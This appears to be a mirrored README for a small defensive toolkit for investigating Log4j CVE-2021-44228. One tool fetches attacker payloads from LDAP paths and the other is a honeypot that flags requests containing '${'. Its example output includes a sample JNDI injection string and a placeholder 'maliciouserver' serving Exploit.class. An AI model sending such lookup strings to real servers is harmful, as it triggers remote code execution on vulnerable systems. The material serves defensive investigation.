关联漏洞
描述
Tools for investigating Log4j CVE-2021-44228
介绍
# Log4jTools
Tools for investigating Log4j CVE-2021-44228
## Bug explanation and Demo
https://www.youtube.com/watch?v=0-abhd-CLwQ
## FetchPayload.py (Get java payload from ldap path provided in JNDI lookup).
Requirements: curl (system), requests (python)
Example command:
```
python FetchPayload.py ldap://maliciouserver:1337/path
[+] getting object from ldap://maliciouserver:1337/path
[+] exploit payload: http://maliciouserver:80/Exploit.class
[+] seeing if attacker left behind un-compile payload http://maliciouserver:80/Exploit.java
[x] failed to find payload Exploit.java
[+] trying to fetch compiled payload http://maliciouserver:80/Exploit.class
[+] found payload and saved to file Exploit.class_
```
## SimpleHoneypot.py (honeypot to catch exploit attempts based on presence of '${' ).
Requirements: python3, asyncore
Example command:
```
python3 SimpleHoneypot.py
[2021-12-09 13:00:00,000] Possible CVE-2021-44228 Attempt: 127.0.0.1:1111 -> port 8080 - GET /?id=${jdni:ldap://127.0.0.1:1389/hax} HTTP/1.1
文件快照
[4.0K] /data/pocs/dd7c1f788e8a0c78a1d17b9e4a4572cd93dabc6c
├── [2.5K] FetchPayload.py
├── [1023] README.md
└── [2.1K] SimpleHoneypot.py
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。